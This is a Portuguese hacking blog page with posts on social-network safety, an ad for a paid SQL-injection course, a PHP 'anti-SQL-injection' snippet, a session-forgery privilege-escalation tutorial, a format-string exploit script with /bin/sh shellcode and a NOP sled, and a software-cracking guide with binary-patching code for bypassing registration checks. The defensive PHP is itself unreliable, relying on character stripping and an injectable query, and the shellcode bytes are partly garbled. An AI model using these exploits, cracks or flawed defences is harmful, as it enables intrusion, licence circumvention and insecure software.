seguranca em rede seguranca da informação conteudo seguranca em rede de informacao informação conteudo redes invasao de sites e sistemas invadir site pelo por metasploit conteudo
 seguranca em rede

seguranca em redes sociais

S

Redes sociais podem ser divertidas e perigosas ao mesmo tempo, como é o caso do Orkut e Facebook. Para proteger sua privacidade, ai vai 10 dicas de segurança para vocês.

O principal alvo dos criminosos são as credenciais de acesso dos usuários. Ao obter essas informações, eles podem mandar mensagens e links maliciosos sem ser identificados.

Segundo a Microsoft, a populariadade das redes atrai hackers, spammers, ladrões de identidade e todo o tipo de criminosos virtuais. Veja como se proteger:

1- Muito cuidado ao clicar em links recebidos de amigos e desconhecidos. Alguns deles podem ser falsos e levá-lo para páginas contaminadas com malware e outras pragas virtuais.

2- Não acredite em todas as mensagens que você recebe. Muitos criminosos podem usar contas invadidas para enviar mensagens, como ajuda financeira ou marcar encontros. Procure sempre confirmar por telefone antes de responder a um pedido desses.

3- Cuidado ao publicar seus dados na rede social. Alguns dos criminosos utilizam o recurso de lembrete de senhas que fazem perguntas sobre preferências e fatos da vida do usuário. Datas de aniversário, nome de parentes e animais pode fornecer dados importantes sobre senhas e lembretes.

4- Aprenda tudo o que puder sobre o site. Parece chato, mas você deve entender a rede social e suas políticas de privacidade por exemplo. Assim, se você se sentir ofendido e ameaçado em alguma ocasião, poderá acionar o site com embasamento em suas próprias regras.

5- Não aceite qualquer pessoa como amigo. Uma rede social não deveria ser uma corrida por popularidade, mas geralmente é. Isso faz com que as pessoas saiam adicionando pessoas estranhas sem critérios. Algumas delas podem ser criminosos, esperando por alguém que queria acessar as informações do seu perfil.

6- Evite publicar seu e-mail pessoal. Desconsidere a possibilidade de inserir o seu e-mail na página de perfil do site. Você pode virar alvo de spam, pragas como malware e até ameaças escritas, também conhecidas como cyberbullying.

7- Escreva o endereço do site direto do navegador. Links em outras páginas ou e-mails podem fazê-lo cair em uma situação phishing, o que acaba no roubo de seus dados de login. Procure salvar o endereço em seus favoritos também.

8- Cuidado com o que você coloca na rede. Fotos e mensagens podem ser apagadas, mas isso não significa que elas vão desaparecer da rede. Sempre haverá alguém para salvar a tela e publicar em outro lugar.

9- Tente não utilizar redes sociais no serviço. Se você usa um computador compartilhado, há risco de outros usuários acessarem suas informações. Principalmente se todos compartilham a mesma senha de rede. Sem contar com as acusações de improdutividade.

10 – Cuidado com os aplicativos. Eles podem ser divertidos, mas podem ser utilizados por criminosos para roubar suas informações. Sempre pesquise sobre eles antes de liberá-los em sua conta.

seguranca-em-redes-sociais

seguranca-em-redes-sociais

 

BY: segurancaemrede.com

fonte: SÃO PAULO

Read More

curso sqlinjection, apostila sqlinjection, compre agora, Dou garantia, Si não aprender dou seu dinheiro de volta

&

 

curso sqlinjection, apostila sqlinjection

nbsp;

Dentre os assuntos que são ensinados aqui, são:

Mysql básico

Criando uma query

Principio do sqlinjection

O que é sqlinjection

Teoria de sqlinjection

Regras sqlinjection

Criando um sistema de login E senha para testes

Listar dados do banco de dados com sqlinjection

Burlar uma query

Burlar um sistema de login e senha

Conseguir acesso ao banco de dados

Conseguir privilégios em um sistema

Conseguir dados de um sistema

Usando parâmetro UNION

Inserindo dados no banco de dados sem permissão

Alterando dados do banco de dados sem permissão

Excluindo dados do banco de dados sem permissão

Excluindo tabelas do banco de dados sem permissão

Excluindo database sem permissão

Descobrir nomes de tabelas do banco de dados

Descobrir nome das colunas do banco de dados

Protegendo sistema de login e senha

Protegendo dados do banco

Proteção na query

Emunizando site, sistema… do sqlinjection

Para você aprender com precisão este curso você precisa de saber:

Básico em linguagem de programação

Básico em banco de dados

——————————————————————————–

Quem si interessar por este livro, pode entrar no link para saber sobre os preços:

http://www.segurancaemrede.com/livros-sobre-invasao/

Ou pode enviar um email para juancarloscunha606@hotmail.com para saber sobre nossos preços.

 

 

 

Read More

como evitar sql injection,como previnir contra sqlinjection,como bloquiar sqlinjection no site,dificultar sql injection

Nos Ultimos tempos, o tipo de ataque mais comum entre hackers malvados, é a terrível sql injection. Em Que o hacker injeta um código malicioso no site,sistema(…), e consegui explorar o site, e conseguir diversas informações no site.

Os administradores de sites hoje em dia não estão si preocupando tanto quanto deveriam com a questão de segurança.  Alguns, não é porque não si preocupam e sim porque não dão conta de si proteger contra estes ataques.

Então este que é o meu propósito hoje. É ensinar as pessoas si precaverem do pior, que pode acontecer.

Esse código é muito simples para quem conhece alguma coisa de php.

Código php:

<?php

//si cod que vou pegar via post nao for numero, entao manda para uma pagina de error; caso o link der erro entao da em exit na pagina

if(!is_numeric($_POST['cod']){

header(“location:error.php”);

exit;

}else{//caso contrario o codigo for numero entao pega o cod via post

$cod    =$_POST['cod'];

}

if((isset($_POST['nome']) && ($_POST['nome']==”")){//si existe um post chamado nome e neste post nao estiver nada nele, entao da erro

header(“location:error.php”);

exit;

}

//Aqui vamos comecar a segurança do site, nao podera entrar nenhum caracter especial via post, assim bloquiará os ataques de sqlinjection

//a funcao str_replace, é para substituir caracteres de alguma coisa

$nome  =$_POST['nome'];

$nome  =str_replace(“‘”,”", $nome);

$nome  =str_replace(“+”,”",$nome);

$nome  =str_replace(“@”,”",$nome);

$nome  =str_replace(“(“,”",$nome);

$nome  =str_replace(“)”,”",$nome);

$nome  =str_replace(“&”,”",$nome);

$nome  =str_replace(“=”,”",$nome);

$nome  =str_replace(“!”,”",$nome);

$nome  =str_replace(“#”,”",$nome);

$nome  =str_replace(“%”,”",$nome);

$nome  =str_replace(“*”,”",$nome);

$nome  =str_replace(“.”,”",$nome);

$nome  =str_replace(“,”,”",$nome);

//Aqui podemos selecionar o banco de forma nomal, sem precisar de medo desta query

mysql_select_db($database_local, $local);

$query_rr = sprintf(“SELECT cod, nome, descricao, codigo FROM postss WHERE cod=’$cod’ and where nome=’$nome’”);

//acima eu selecionei cod,nome,descricao e o codigo da tabela postss em que o cod seja igual ao que nos pegamos via post, e o nome seja //igual ao que nos pegamos via post

$rr = mysql_query($query_rr, $local) or die(mysql_error());

$row_rr = mysql_fetch_assoc($rr);

?>

Conclusão

Esse código foi para mostrar para os administradores de sites que dependendo do assunto, é “fácil si proteger”(Entre aspas, é claro).

Obs.: SI alguém não entender nada deste código, faça as perguntas aqui.

~bye~ Juancarloscunha

Read More

Como conseguir privilégios de administrador em um sistema com dados via sessão, session vulnerável, capturar session do php, invasao-exploracao via session

Nos tempos de hoje, uma das formas mais utilizadas para esconder e não perder dados, é a forma de registrar uma sessão, Ou cookie, que não será neste post que eu falarei sobre ele.

Session(sessão) é uma variável criada e colocada em algum lugar do navegador de internet, e quando precisa usar essa mesma variável, então o programador cria um código simples para reutilizar esta mesma variável, porem, como tudo tem seu lado bom e seu lado ruim, estas sessões si forem usadas de modo correto, funciona perfeitamente sem correr muitos riscos de uma invasão no site ou algo do tipo.

Esta variável de sessão é desfeita quando o navegador é fechado(obvio, até o nome fala, variável dia sessão).

Vou colocar aqui um código de um sistema vulnerável a ataques via sessão:

Código da pagina login.php:

<?php

//neste exemplo vou citar a sessao chamada ‘nivel’, que é o nível de permissão do user

session_register(‘nivel’);

$_SESSION['nivel']=$nivel_permissao;

//a variável nível_permissao, foi pegada do banco de dados,”exemplo”

?>

Codido index.php:

<?php

/*esta outra pagina ira pegar a sessao registrada e pega também o código do usuário que

Que na maioria das vezes são pegos por sessão ou cookie */

$nivel =$_SESSION['nivel'];

$cod_user =$_SESSION['cod_user'];

//isto é um nível de permissão para os usuarios

/* se o usuario nao estiver com o nivel de permissao (ADM) OU MELHOR nivel de administrador, entao a pessoa nao entra na pagina, agora si ela estiver o nivel de permissao de administrador*/

if($nivel != “ADM”){

header(“location:error.php”);

exit;

}else if($nivel ==”ADM”){

header(“location:/admin/crm.php”);

}else{

exit;

}

?>

//—————————————————————-à

Na pagina acima, nós vimos uma pagina com session vulnerável.

Agora vem a parte boa do ensinamento.

Como explorar esta falha ? alguém sabe?

Isso é mais fácil do que todos pensam ou possam imaginar.

Si você é um usuário do sistema e não tem acesso de administrador, quando você entrar na pagina index.php que tem a validação ele jogará você para uma pagina de erro.

Então ta, Lembra que la no inicio na primeira pagina, login.php. Ele registrou uma

Session com o tipo do usuário. Então para burlar isso… independente do navegador, exclua todos os registros de autenticação do navegador, pois entre elas estará a nossa que registramos ao logar no sistema.. Depois de ter excluido todas as autenticações do navegador, Crie uma pagina em php, registrando uma sessão com o mesmo nome da sessão do “sistema”, porem, agora vamos jogar o valor “ADM” dentro da sessão. FICARÁ MAIS OU MENOS ASSIM:

Código:

<?php

$nivel=”ADM”;

session_register(‘nivel’);

$_SESSION['nivel']=$nivel;

?>

//————————————————————à

Depois disso, basta entrar diretamente na pagina que voce quer os privilegios, que eles estarao todos ao seu dispor. HEHE

Vou tentar explicar em outro tutorial como si defender destes ataques

~By~ Juancarloscunha

Qualquer duvida, Basta perguntar. Si gostou comente, ou si achou algum erro no meu tutorial, mande-o para mim corrigir

Read More

Como criar uma shellcode, criando shellcode, criando exploits,explorando via shellcode, tutorial shell script com exploit

E —-[ Escrevendo o exploit em shell script ]—- Agora segue o código do exploit para o segundo programa vulnerável a forma string escrito em shell script: ==========[ fs_xpl.sh ]========== #!/bin/sh ########################################################## # Exploit para programa vulneravel a format string       # ########################################################## # O novo endereco de retonro que apontará para os nops export NEW_RET=`printf “xb0xf8xffxbf”` # Shellcode execve -> /bin/sh export SHELLCODE=`printf “xebx1fx5ex89x76x08x31xc0x88x46″x07x89x46x0cxb0″ “x0bx89xf3x8dx4ex08x8dx56x0cxcdx80x31″xdbx89xd8″ “x40xcdx80xe8xdcxffxffxff/bin/sh”` # Aqui temos 150 NOPs(chataum conta isso) export NOP=`printf “x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90″ “x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90″ “x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90″ “x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90″ “x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90″ “x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90″ “x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90″ “x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90″ “x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90″ “x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90″` # Agora executamos o programa vulnerável com o argumento maligno ./fs_vuln “%28c$NEW_RET” =================================     Vamos aos textes: — — — — — — — — — — newbie@localhost:~$ chmod +x fs_xpl.sh newbie@localhost:~$ ./fs_xpl.sh Você digitou:                            x°øÿ¿ sh-2.05b$ — — — — — — — — — —     Como podemos perceber, não existe segredo algum amigo. Agora é só questão de pratica!                        —-[ CONCLUINDO ]—- Bem amigo, é possível fazer qualquer coisa se correr atraz. Digo mais uma vez que saber fuçar com shell script não é questão de luxuria mais sim uma necessidade pois o verdadeiro fuçador não constroi coisas pra facilitar, mais trabalha com o que tem em mãos! Existem inumeros metodos a mais de exploitação, talvez até algum que seja mais fácil do que em C ou outra linguagem pois com shell script você interage diretamente com os programas e talz, principalmente falhas em fucões que manipulam arquivos como as que criam arquivos temporários e essas coisas! Bastando apenas saber armazenar a resposta de um comando, filtrar, passar o resultado para outro comando e por ai vai! Veja como é possível explorar qualquer programa por linha de comando: ==========[ xtra_vuln.c ]========== #include <stdio.h> int main() {     char nome[20];     printf(“Qual é o seu nome: “);       gets(nome);     printf(“Olá %s!!nn”, nome); } ===================================     Agora veja como podemos explora-lo: — — — — — — — — — — newbie@localhost:~$ gcc xtra_vuln.c -o xtra_vuln newbie@localhost:~/tecnicas/expl_ln_cmd$ ./xtra_vuln Qual é o seu nome: xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxABCD Olá xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxABCD!! Falha de segmentação (core dumped) newbie@localhost:~/tecnicas/expl_ln_cmd$ gdb -c core ….. Program terminated with signal 11, Segmentation fault. #0  0×40004443 in ?? () (gdb) q newbie@localhost:~/tecnicas/expl_ln_cmd$ ./xtra_vuln Qual é o seu nome: xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxABCD Olá xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxABCD!! Falha de segmentação (core dumped) newbie@localhost:~/tecnicas/expl_ln_cmd$ gdb -c core ….. Program terminated with signal 11, Segmentation fault. #0  0×44434241 in ?? () — — — — — — — — — —     já sabemos agora aonde que sobrescreveremos o endereço de retorno! Agora basta fazer o exploit usando o seguinte esquema: — —— — — — — — — — newbie@localhost:~$ echo xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxABCD > `perl -e ‘print “x78x56x34x12″‘` > buffer.bof newbie@localhost:~$ ./xtra_vuln < buffer.bof Qual é o seu nome: Olá xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxABCDxV4!! Falha de segmentação (core dumped) newbie@localhost:~/tecnicas/expl_ln_cmd$ gdb -c core …. Program terminated with signal 11, Segmentation fault. #0  0×12345678 in ?? () (gdb) — — — — — — — — — —  —-[ Fontes ]—-     0ut0fBound            .::. http://0ut0fbound.ath.cx     Security Focus        .::. http://www.securityfocus.com.br     Google                .::. http://www.google.com.br

Obs.: Si  alguem tiver lido este tutorial e si enteressou neste assunto... Eu tenho um livro falando sobre isso. Quem quiser, basta mandar um email para mim

Read More

como criar ckack para algum programa,tutorial crackeando programas,Tutorial sobre Crack Básico

 INTRODUÇAO
   Neste post eu ensinarei o basico sobre o mundo do cracking(como crackear programas)...
Crack de alterar o código binario de um programa pra fazer com que ele faça algo que você queria... como não validar um login ou algo assim.   Antes  de  colocar a mão na massa sujiro que corra atraz de algum materia sobre assembly... Você precisa de saber o básico sobre assembly..  Vai  algo muito enxuto sobre alguns  comandos  ASM  que serão necessário neste tutorial:
 *  Call  ->  Call  quer  dizer  chamar...  ele pula pra  posicao do código que e passado como parâmetro.
ex:
Call 00401144   ;isso vai pular pra posicao 00401144 do código

 * JMP    -> jmp(jump -> Salto, pulo)  faz a mesma coisa que call...    A diferença é que com jmp não e possível retornar ao código... já
com call se aparecer um  ret(return = retorne)  então ele segue para
a linha logo apos o call

Esta são duas instruções  de salto incondicionais... que quer dizer que se você usa-las, o programa saltara independente  de  qualquer  coisa //Gostou né!!!. Vamos agora ver somente duas instruções condicionais:

 * JE     -> JE(Jump if equal) e uma  instrução que ira pular se um valor X for igual a um valor  Y... 

 * JNE    -> Se você for esperto deve  perceber  que essa e a negação da outra... JE(Jump if not e qual) vai  fazer  um  salto se um valor de X não for igual a um valor de Y...

JO jump if overflow
JB jump borrow  (borrow = menor   above = maior)

A lógica do cracking  

Estamos chegando  lá, vamos  antes  explicar  como que se
crackeia um programa simples pra depois colocaremos a mão na massa.

A lógica do cracking é a seguinte. Quando você digita algum serial ou algo assim: o  programa  verifica  se o serial e valido ou não?? 
Então como seria para burlar essa proteção, essa verificação em ASM? Você tem alguma idéia do que uma hora ou outra vai aparecer no código?? Si você disse que não, então vou te responder >
uma ora ou  outra  vai aparecer uma instrução de salto(aquelas que apresentei no comeco)... que quando verdadeiro vá para a parte do código que diz que o serial e  verdadeiro e outra pra quando o serial for falso, Deu pra entender? vamos tentar!

-  je 00127889 => se o serial for igual então pula pra 00127889

Deu pra entender + ou - ?? então o que essa instrução faria se você trocasse o je por um jne assim:

   -  jne 00127889 => ????

"Se o serial não for igual então pula pra 00127889"... Mais você já sabe que a posição 00127889 da memoria é a parte onde o programa irá    executar as ações caso o serial for valido? se você trocar je por jne.
Mais nós podemos melhorar isso!
nem vale a pena escrever essa merda =.. como ficaria se trocassemos nosso jne por um simples jmp ??
ISSOOOO!!! Não verificara  mais  nada=]
Então ele pulara sem depender do serial esta certo ou errado :)  entaum ficaria assim:

-  jmp 00127889 => Pula pra posical 00127889 da memória. Achou fácil?

Agora tem um pequeno problema.. como vamos fazer isso ??
vamos disassemblar nosso programa, vê aonde ele pula e troca a instrucao :)  Essa é a primeira parte para o crackeio de um programa.

Para isso  eu  uso  o W32Dasm. programa que muita gente usa pra esses fins, mais nele eu não sei  como alterar...  então  vamos  pegar  um  editor de hexadecimal para podermos alterar nosso programa...  Usarei  o Visual Basic para nos ajudar com os cracks, mais poderia ser qualquer programa que de pra abrir arquivos em binário.

Mauns a massa

Bem... Finalmente chego a hora de sairmos da teoria e passarmos para a pratica.
Digo logo que não pretendo ensinar tudo sobre cracking.. Nos alteraremos dois programas... não será programas conhecidos pois eu não tenho nenhum exemplo bom para demostrar e também não tenho muito tempo de ficar procurando vulnerabilidades em programas assim, E também não quero ter problemas com os caras que fizeram eles.

Os dois  programas  que nós crackearemos serão feitos por nós mesmos para fins de aprendizagem somente... o primeiro  dele e um programa que só verifica se já esta registrado ou não. se ele tiver, então aparece uma MSG dizendo que esta..
Se não aparece outra dizendo que não está validado... segue o código dele(em VB):

Para quem não sabe nada de vb, Basta deixar um comentário pedindo uma explicaçao de como inserir o codigo.

+++++++++++++++++++++++++++++
Sub Main()
    Dim Registrado As Boolean

    If Date = "19/12/2004" Then ' Vamos dizer q ele expiro a um dia =]
        Registrado = True
    Else
        Registrado = False
    End If

    If Registrado = True Then
        MsgBox "Programa registrado!"
    Else
        MsgBox "Programa não registrado!"
    End If
End Sub
+++++++++++++++++++++++++++++

   Compile este código e execute...
Veja que aparecera a mensagem "Programa não registrado!" sempre que você executar ele... então podemos dizer que o serial já expiro ou algo assim.
Agora  abra o executável no W32Dasm para poder descompilar ele..  mais não tem importância... o que você sabe sobre o programa?? isso mesmo..
   1 -> Ele não esta registrado
   2 -> Sempre aparece a mensagem "Programa não registrado!"

Então  o que você tem que  fazer  e ir  em  Search -> Find Text e localizar por "Programa não registrado!"... Você achara esta frase na seguinte linha:

----
* Possible StringData Ref from Code Obj ->"PPrograma não registrado!"
----
  Então vá subindo até achar a linha q possui o seguinte:
---
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
---

O que essa linha quer dizer??
Quer dizer que é o inicio de algum código e que algum lugar pulo para esta posição... então que posição seria esta... veja abaixo desta linha:
---
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004016F3(C)
---

Repare que ele nos mostra um endereço de uma posição no programa... então quer dizer que  nesta  posição(004016F3) tem alguma instrução que pula para esta parte do código.. que é a  parte  onde  nos  diz que o programa não esta registrado...
certo??

Então vamos  para  a posição 004016F3 do código.. pressione Shift+F12 e digite o endereço... Aonde nos fomos parar???

---
:004016F3 7543                    jne 00401738
---

Isso mesmo, É um "pule se não for igual"... então o que isso faz?? simples.. se o programa não estiver  registrado  então ele vai para a parte onde nos mostra a mensagem... então o que nos temos que  fazer??  colocar je ou jmp ?? não mesmo.. porque se não ele sempre irá dizer que não esta  registrado... o que fazer então??
Alterar a hora do windows pra poder  usar  até quando quiser??
Concerteza não!!!
Vamos simplesmente tirar esta instrução do  nosso  programa... você pode estar pensando:
só deletar ela então né??
eu respondo..
você pensa, mais que pena que esta errado... isso porque quando o programa e compilado.. ele gera os offsets(endereços de memória) baseado no nosso código... então se nos tirarmos
esses dois bits do nosso programa... todos os offsets depois dessa instrução serão decrementados de dois bytes... então qualquer  instrução de salto que pule para depois desta instrução ira parar no lugar errado. então o que fazer?
você só tem que trocar esses dois BYTES por dois NOP's... esse é um comando que eu esqueci de falar...
NOP = No  Operation... então ele não faz nada =]
então quais bits seriam estes?
Você esta  vendo  aquele numero em Hex entre o endereço e o comando? isso mesmo... aquele  7543.. ele é o  comando  "jne 00401738" em linguagem de maquina..  
Esses  comando  estão  em hexadecimal.. se você pegar cada parte dele 75 43, verá que ele são dois  caracteres "x75x43" que é o valor
dele no arquivo executável... então abra o nosso executável em um editor hex qualquer.. e procure pelo valor 75 43...  verifique se existe mais de um... se existir você terá que procurar mais especificações...  como por exemplo o valor do comando de antes e o valor do comando seguinte:

---
:004016F0 8945CC                  mov dword ptr [ebp-34], eax
:004016F3 7543                    jne 00401738
:004016F5 8D559C                  lea edx, dword ptr [ebp-64]
---

   Nos caso você terá que procurar por:
   89 45 CC 75 43 8D 55 9C

Se mesmo  assim  existirem mais de um tente ser mais amplo... bem.. mais no nosso exemplo só existe uma instrução com o valor 75 43... então no editor hex troque o valor desses 75 43 por  90 90 respectivamente que são dois NOPs... para substituir
nosso jump para nenhuma operação =]
Agora salve seu  programa(com outro nome pra evitar problemas) e execute ele...

VIVAAAAAAAAA!! ->  "Programa registrado!"

Agora você  só precisa de fazer um crack pra ele... não vou colocar como eu faço em vb.. mais é só você abrir o programa em binário localizar pelo texto:
strNormal = Chr(Val("&H75")) & Chr(Val("&H43"))

e trocar pelo valor:
strCracked = Chr(Val("&H90")) & Chr(Val("&H90"))

Ai quando você salvar seu programa você tera alterado ele.
Mais veja como seria um código basico em VB para isso:

++++++++++++++++++++++++++++++++++++++++++++++++++++++
Dim bf as String

strNormal = Chr(Val("&H75")) & Chr(Val("&H43"))
strCracked = Chr(Val("&H90")) & Chr(Val("&H90"))

bf = Space(FileLen("ex1.exe"))

Open "ex1.exe" For Binary Access Read As #1
    Get #1, , bf
Close #1

bf = Replace(bf, strNormal, strCracked)

Open "ex1[cracked].exe" For Binary Access Write As #1
    Put #1, , bf
Close #1
++++++++++++++++++++++++++++++++++++++++++++++++++++++

   Viu como é simples d+ da conta??
Uma coisa que  você deve  ter em mente é o seguinte! O ASM varia de processador pra processador... então se aqui  no meu PC o endereço de pulo foi 00401738... no seu pode ser diferente. então  não adianta copiar e colar o código e pensar que vai dar certo porque não vai... eu fiz esse código pra essa compilação que eu acabei de fazer... Pois  isso  que as vezes quando o programa é simples você acha o crack pra alterar o exe.. mais quando o programa possui diversas compilações - como um jogo complexo por exemplo -  o máximo que você poderá achar é o executavel do jogo já crackeado.

Vamos agora ao nosso segundo exemplo pratico.. vamos ao projeto:

   - Crie um novo projeto no VB(adoro essa linguagem...)
   - Adicione um botão(cmdVerifica) e uma caixa de texto(txtSenha.Text) em form e um novo formulário(Form2)
   - Coloque o seguinte código:

+++++++++++++++++++++++++++++++++++++++++++
Private Sub cmdVerifica_Click()
    If txtSenha.Text = "chuck_newbie" Then
        Form2.Show
    Else
        MsgBox "Senha invalida!"
    End If
End Sub
+++++++++++++++++++++++++++++++++++++++++++

Para quem nao tem nocao alguma sobre este codigo, Ele fala o seguinte:
Si a senha digitada for igual a chuck_newbie então, abra a pagina form2. se não dará uma mensagem de senha invalida. 

Obs: si você não tem noção alguma de programação, Pare agora de ler este tutorial e va aprender pelo menos o básico de linguagem de programação e algoritmo.

Agora  compile  e  execute.. Você não sabe a senha... então digite qualquer coisa e veja o que aparece... "Senha invalida!" ....  agora  abra  o  executável no W32Dasm e procure por essa string...

   Você achara ela na seguinte linha:
---
* Possible StringData Ref from Code Obj ->"SSenha invalida!"
---

   Agora vá subindo até achar a linha
---
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
---

Pegue o  endereço  que esta logo abaixo desta linha... que se você não se lembra é o endereço que possui um salto para esta parte do código..

---
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00401F55(C)
---
que no meu caso é 00401F55... agora vá para esta posição do código:
---
:00401F55 0F8484000000            je 00401FDF
---

Esta aê  nosso  pulo... ele vai dizer que a senha é invalida se for igual.. você pode estar se perguntando  porque ele pula se for igual.. simples... porque o JE não quer dizer que a senha é igual a senha  digitada...  mais  sim  que a comparação feita seto  os  flags  de  um  jeito  que  quer  dizer isso. mais isso não vem ao  caso, pois  esse tutorial não é sobre ASM... o que você tem que pensar é que se alguma coisa for igual a  outra  então ele vai dar que a senha é invalida... então você só tem que fazer o mesmo esquema que  anterior...  retirando esta instrução do seu programa... mais como nos  sabemos?  Não  podemos simplesmente  tirar... temos que substituir esta instrução pelo mesmo tamanho dela, só que executando nop's =]

Se você quiser editar ele em hex fique a vontade... mais já que eu não tenho nenhum aqui prefiro fazer o crack mesmo. Não se esqueça de verificar se existe mais alguma instrução igual a essa antes de substituir... Mais por nossa sorte não tem... então vamos ao crack...

Ele só tem que substituir 0F8484000000 por 909090909090 isso mesmo... um monte de nops

   O código do nosso crack deveria ser algo como:

++++++++++++++++++++++++++++++++++++++++++++++++++++++
Dim bf as String

strNormal = Chr(Val("&H0F")) & Chr(Val("&H84")) & Chr(Val("&H84")) & _
            Chr(Val("&H00")) & Chr(Val("&H00")) & Chr(Val("&H00"))

strCracked = Chr(Val("&H90")) & Chr(Val("&H90")) & Chr(Val("&H90")) & _
             Chr(Val("&H90")) & Chr(Val("&H90")) & Chr(Val("&H90"))

bf = Space(FileLen("ex1.exe"))

Open "ex1.exe" For Binary Access Read As #1
    Get #1, , bf
Close #1

bf = Replace(bf, strNormal, strCracked)

Open "ex1[cracked].exe" For Binary Access Write As #1
    Put #1, , bf
Close #1
++++++++++++++++++++++++++++++++++++++++++++++++++++++

Se você for esperto desenvolverá funções para facilitar o código... olha como fica meu código com as funções que eu desenvolvo:

++++++++++++++++++++++++++++++++++++++++++++++++++++++
Private Sub cmdPatch_Click()
    Dim sNormal As String
    Dim sPatch As String
    Dim R As Integer

    If txtF.Text = "" Then Exit Sub ' txtF contem caminho do arquivo

    sNormal = Bin("0F8484000000")
    sPatch = Bin("909090909090")

    R = Patch(txtF.Text, sNormal, sPatch)
    If R = CRACKED Then
        lblS.Caption = "CRACKED!"
    ElseIf R = CORRUPTED Then
        lblS.Caption = "FILE CORRUPTED OR ALREADY CRACKED!"
    Else
        lblS.Caption = "ERROR!"
    End If

End Sub
++++++++++++++++++++++++++++++++++++++++++++++++++++++

Vamos agora fazer uma coisa um pouco mais complicada... veja o código abaixo:

++++++++++++++++++++++++++++++++++++++++++++++++++++++
Sub Main()
    Dim Registrado As Boolean

    If Date = "19/12/2004" Then ' Vamos dizer q ele expiro a um dia =]
        Registrado = True
    Else
        Registrado = False
    End If

    If Registrado = False Then
        MsgBox "Programa não registrado!"
    Else
        MsgBox "Programa registrado!"
    End If
End Sub
++++++++++++++++++++++++++++++++++++++++++++++++++++++

Ele faz  a  mesma coisa que o anterior com a única diferença que ele verifica se não esta registrado no "if"! então grave em um novo projeto, compile e execute..
você verá que realmente ele faz o mesmo que o anteriores.. agora abra ele no w32dasm e tente crackealo como  a gente tem feito até agora...
Ta lendo ainda né?? mais digo logo que você não conseguirá... pra evitar esse tipo de problema você só tem que ficar atento ao código do programa... vamos passo a passo... abra no W32Dasm e procure por "Programa não registrado!"
OBS: Algumas vezes você não conseguira achar o resultado da string... se isso ocorrer tente novamente só que procurando somente por parte dela.. nesse caso você também pode tentar
localizar "não" ou "não registrado".. isso fica ao seu critério... achando a frase vim o segredo... nos sempre subimos no código procurando o inicio dele até achar uma parte de uma instrução que salta pra ele... mais nesse caso a instrução salta pra parte falsa do código... então o que você tem que fazer... você tem que perceber.. que o salto esta dentro deste próprio código.
então vá subindo até achar alguma das instruções de salto.. achei uma a três linha acima:

---
:004016F2 7543                    jne 00401737
---

O que essa belezinha ai faz?? simplesmente pula se uma coisa não for igual a outra. Você pode estar pensando "e daí??"...
bem... o que aconteceria se essa coisa FOR igual a OUTRA coisa??

ele iria pra parte do código onde aparece a mensagem de não registrado... mais uai... pra onde ele pula então... pra saber isso basta pegar o endereço no qual ele pular e ver o que ele executa...

 GoTo / Goto Code Location => Digite: 00401737 e clique em OK

  VIVA!! Você viu aonde nós caímos:

---
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004016F2(C)
|
:00401737 8D559C                  lea edx, dword ptr [ebp-64]
:0040173A 8D4DDC                  lea ecx, dword ptr [ebp-24]

* Possible StringData Ref from Code Obj ->"PPrograma registrado!"
                                  |
:0040173D C745A464134000          mov [ebp-5C], 00401364
:00401744 C7459C08000000          mov [ebp-64], 00000008
---

Caímos na posição caso o programa estiver registrado. então como que a gente vai crackiar isso??
bem... não podemos tirar o jne que pula pra ir se não ele nunca vai pular e vai sempre dar "Programa não registrado!"... então nos temos que fazer com que ele pule pra essa parte do código independente de ta registrado ou não... e como fazer isso?? simples.. nos fazemos o salto sem condição! e temos que fazer isso trocando o "jne" por "jmp" que é um salto incondicional... mais ai complico um pouco né?? ixi... É mais fácil  do que você pensa... procura no código todas as instruções jmp que pular pra algum endereço e veja o que ela tem em comum..
Segue alguns exemplos:

---
:00401096 FF253C104000            Jmp dword ptr [0040103C]
.....
:00401650 E9E9E9E9CC              jmp CD2A003E
.....
:00401788 EB1C                    jmp 004017A6
---

Você consegue perceber alguma semelhança??
É porque realmente não tem nenhuma semelhança pelo modo de salto... no primeiro exemplo ele salta convertendo o endereço... no segundo ele saltou pra algum lugar da memória que esta fora do código do programa(uma API em uma DLL por exemplo).. e no terceiro exemplo ele salta pra uma parte do nosso código...
VIVA!!..
É a terceira que nos queremos... pois queremos pular para uma parte do nosso código.. que é a parte onde o programa esta registrado.
vou tentar explicar melhor... 

---
:00401788 EB1C                    jmp 004017A6
---

 *   EB = JMP          -> Pule para
 *   1C = 28(decimal)  -> O código que ta a 28 posicoes daqui

   Entaum voltando ao nosso JNE:
---
:004016F2 7543                    jne 00401737
---

 *  75 = JNE          -> Se naum for igual pule para
 *  43 = 67(decimal)  -> 67 posicoes a fente

   Pra clarear nos temos que fazer o seguinte:
---
:004016F2 EB43                    jne 00401737
---

 *  EB = JMP          -> Pule se condicao nenhuma para
 *  43 = 67(decimal)  -> 67 posicoes a fente

Tah ai como nos crackiamos nosso código... temos que trocar o 7543 por EB43...isso fará com que o JNE vire JMP e não contara mais nenhuma condição. OK!
vamos ao nosso crack... mais antes temos que verificar se existe mais alguma instrução igual a esta... e se não  tiver codamos nosso crack alterando 75 43 por EB 43:

O código do nosso crack pode ser algo como:
++++++++++++++++++++++++++++++++++++++++++++++++++++++
Dim bf as String

strNormal = Chr(Val("&H75")) & Chr(Val("&H43"))

